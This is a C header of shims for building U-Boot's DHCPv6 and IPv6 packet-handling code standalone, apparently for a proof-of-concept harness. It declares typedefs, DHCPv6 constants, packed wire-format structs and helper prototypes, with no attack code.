/* ---- base integer types (u-boot spellings) ---- */
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;
typedef uint16_t __be16;
typedef uint32_t __be32;
typedef unsigned char uchar;
typedef unsigned long ulong;
#define __packed __attribute__((packed))
#define __LITTLE_ENDIAN_BITFIELD 1
/* ---- glue macros the real code expects ---- */
#define debug(...) do { } while (0)
#define IS_ENABLED(x) (x)
#define NETLOOP_FAIL 1
/* ---- protocol / sizing constants (values from the pinned headers) ---- */
#define ARP_HLEN 6
#define ETH_ALEN 6
#define PROT_IP6 0x86DD
#define PROT_ICMPV6 58
#define IPPROTO_UDP 17
#define PKTSIZE_ALIGN 1536
/* DHCP6 UDP ports (net/dhcpv6.c) */
#define PORT_DHCP6_S 547
#define PORT_DHCP6_C 546
/* DHCP6 retransmission timing (net/dhcpv6.c) */
#define SOL_MAX_DELAY_MS 1000
#define SOL_TIMEOUT_MS 1000
#define SOL_MAX_RT_MS 3600000
#define REQ_TIMEOUT_MS 1000
#define REQ_MAX_RT_MS 30000
#define REQ_MAX_RC 10
#define MAX_WAIT_TIME_MS 60000
/* Kconfig-derived values (defaults) */
#define CONFIG_DHCP_PXE_CLIENTARCH 0
#define CONFIG_DHCP6_ENTERPRISE_ID 0
#define CONFIG_NET_RETRY_COUNT 5
#define CONFIG_DHCP6_PXE_DHCP_OPTION 0
#define CONFIG_SYS_RX_ETH_BUFFER 4
/* ---- addresses (struct in_addr / in6_addr) : verbatim from headers ---- */
struct in_addr {
__be32 s_addr;
};
/* include/net6.h */
struct in6_addr {
union {
u8 u6_addr8[16];
__be16 u6_addr16[8];
__be32 u6_addr32[4];
} in6_u;
#define s6_addr in6_u.u6_addr8
#define s6_addr16 in6_u.u6_addr16
#define s6_addr32 in6_u.u6_addr32
} __packed;
/* include/net6.h */
struct ip6_hdr {
#if defined(__LITTLE_ENDIAN_BITFIELD)
u8 priority:4,
version:4;
#else
u8 version:4,
priority:4;
#endif
u8 flow_lbl[3];
__be16 payload_len;
u8 nexthdr;
u8 hop_limit;
struct in6_addr saddr;
struct in6_addr daddr;
} __packed;
#define IP6_HDR_SIZE (sizeof(struct ip6_hdr))
/* include/net6.h */
struct udp_hdr {
u16 udp_src;
u16 udp_dst;
u16 udp_len;
u16 udp_xsum;
} __packed;
#define UDP_HDR_SIZE (sizeof(struct udp_hdr))
/* include/net6.h : trimmed to the fields net_ip6_handler touches */
struct icmp6hdr {
u8 icmp6_type;
#define IPV6_ICMP_ECHO_REQUEST 128
#define IPV6_ICMP_ECHO_REPLY 129
#define IPV6_NDISC_ROUTER_ADVERTISEMENT 134
#define IPV6_NDISC_NEIGHBOUR_SOLICITATION 135
#define IPV6_NDISC_NEIGHBOUR_ADVERTISEMENT 136
u8 icmp6_code;
__be16 icmp6_cksum;
} __packed;
/* include/net-common.h */
struct ethernet_hdr {
u8 et_dest[ARP_HLEN];
u8 et_src[ARP_HLEN];
u16 et_protlen;
} __packed;
/* include/net-legacy.h */
typedef void rxhand_f(uchar *pkt, unsigned int dport,
struct in_addr sip, unsigned int sport,
unsigned int len);
typedef void thand_f(void);
/* ==== DHCP6 wire structs and state (verbatim from net/dhcpv6.h) ==== */
#define DHCP6_MSG_SOLICIT 1
#define DHCP6_MSG_ADVERTISE 2
#define DHCP6_MSG_REQUEST 3
#define DHCP6_MSG_REPLY 7
#define DHCP6_OPTION_CLIENTID 1
#define DHCP6_OPTION_SERVERID 2
#define DHCP6_OPTION_IA_NA 3
#define DHCP6_OPTION_IA_TA 4
#define DHCP6_OPTION_IAADDR 5
#define DHCP6_OPTION_ORO 6
#define DHCP6_OPTION_PREFERENCE 7
#define DHCP6_OPTION_ELAPSED_TIME 8
#define DHCP6_OPTION_STATUS_CODE 13
#define DHCP6_OPTION_OPT_BOOTFILE_URL 59
#define DHCP6_OPTION_OPT_BOOTFILE_PARAM 60
#define DHCP6_OPTION_SOL_MAX_RT 82
#define DHCP6_OPTION_CLIENT_ARCH_TYPE 61
#define DHCP6_OPTION_VENDOR_CLASS 16
#define DHCP6_OPTION_NII 62
#define DUID_TYPE_LL 3
#define DUID_HW_TYPE_ENET 1
#define DUID_LL_SIZE (sizeof(struct dhcp6_option_duid_ll) + ETH_ALEN)
#define DUID_MAX_SIZE DUID_LL_SIZE
#define DHCP6_VCI_STRING "U-Boot"
#define DHCP6_MULTICAST_ADDR { { { 0xFF, 0x02, 0x00, 0x00, \
0x00, 0x00, 0x00, 0x00, \
0x00, 0x00, 0x00, 0x00, \
0x00, 0x01, 0x00, 0x02 } } }
enum dhcp6_state {
DHCP6_INIT,
DHCP6_SOLICIT,
DHCP6_REQUEST,
DHCP6_DONE,
DHCP6_FAIL,
};
enum dhcp6_status {
DHCP6_SUCCESS = 0,
DHCP6_UNSPEC_FAIL = 1,
DHCP6_NO_ADDRS_AVAIL = 2,
DHCP6_NO_BINDING = 3,
DHCP6_NOT_ON_LINK = 4,
DHCP6_USE_MULTICAST = 5,
DHCP6_NO_PREFIX_AVAIL = 6,
};
struct dhcp6_hdr {
unsigned int msg_type : 8;
unsigned int trans_id : 24;
} __packed;
struct dhcp6_option_hdr {
__be16 option_id;
__be16 option_len;
u8 option_data[0];
} __packed;
struct dhcp6_option_duid_ll {
__be16 duid_type;
__be16 hw_type;
u8 ll_addr[0];
} __packed;
struct dhcp6_option_elapsed_time {
__be16 elapsed_time;
} __packed;
struct dhcp6_option_ia_ta {
__be32 iaid;
u8 ia_ta_options[0];
} __packed;
struct dhcp6_option_ia_na {
__be32 iaid;
__be32 t1;
__be32 t2;
u8 ia_na_options[0];
} __packed;
struct dhcp6_option_oro {
__be16 req_option_code[0];
} __packed;
struct dhcp6_option_client_arch {
__be16 arch_type[0];
} __packed;
struct vendor_class_data {
__be16 vendor_class_len;
u8 opaque_data[0];
} __packed;
struct dhcp6_option_vendor_class {
__be32 enterprise_number;
struct vendor_class_data vendor_class_data[0];
} __packed;
struct dhcp6_rx_pkt_status {
bool client_id_match;
bool server_id_found;
uchar *server_uid_ptr;
u16 server_uid_size;
bool ia_addr_found;
struct in6_addr ia_addr_ipv6;
enum dhcp6_status ia_status_code;
enum dhcp6_status status_code;
u8 preference;
};
struct dhcp6_server_uid {
uchar *uid_ptr;
u16 uid_size;
u8 preference;
};
struct dhcp6_sm_params {
enum dhcp6_state curr_state;
enum dhcp6_state next_state;
ulong dhcp6_start_ms;
ulong dhcp6_retry_start_ms;
ulong dhcp6_retry_ms;
u32 retry_cnt;
u32 trans_id;
u32 ia_id;
int irt_ms;
int mrt_ms;
int mrc;
int mrd_ms;
int rt_ms;
int rt_prev_ms;
struct dhcp6_rx_pkt_status rx_status;
struct dhcp6_server_uid server_uid;
char duid[DUID_MAX_SIZE];
};
/* ==== globals owned by the driver ==== */
extern u8 net_ethaddr[6];
extern char net_boot_file_name[1024];
extern char *pxelinux_configfile;
extern struct in6_addr net_ip6;
extern struct in6_addr net_server_ip6;
extern struct dhcp6_sm_params sm_params;
extern int updated_sol_max_rt_ms;
extern const struct in6_addr dhcp_mcast_ip6;
extern const u8 net_dhcp6_mcast_ethaddr[6];
extern uchar *net_tx_packet;
/* ==== leaf helpers provided by the driver (scaffolding) ==== */
int net_eth_hdr_size(void);
void net_set_udp_handler(rxhand_f *f);
rxhand_f *net_get_udp_handler(void);
void net_set_timeout_handler(ulong iv, thand_f *f);
int net_send_udp_packet6(uchar *ether, struct in6_addr *dest, int dport,
int sport, int len);
void net_set_state(int state);
void net_auto_load(void);
void net_copy_ip6(void *to, const void *from);
unsigned long get_ticks(void);
unsigned long get_timer(unsigned long base);
void udelay(unsigned long usec);
void srand_mac(void);
void copy_filename(char *dst, const char *src, int size);
int string_to_ip6(const char *s, size_t len, struct in6_addr *addr);
int ping6_receive(struct ethernet_hdr *et, struct ip6_hdr *ip6, int len);
int ndisc_receive(struct ethernet_hdr *et, struct ip6_hdr *ip6, int len);
/* ==== real, verbatim-extracted functions (defined in real_code.c) ==== */
unsigned int csum_partial(const unsigned char *buff, int len, unsigned int sum);
unsigned short int csum_ipv6_magic(struct in6_addr *saddr,
struct in6_addr *daddr, u16 len,
unsigned short proto, unsigned int csum);
int net_ip6_handler(struct ethernet_hdr *et, struct ip6_hdr *ip6, int len);
#endif /* POC_SHIMS_H */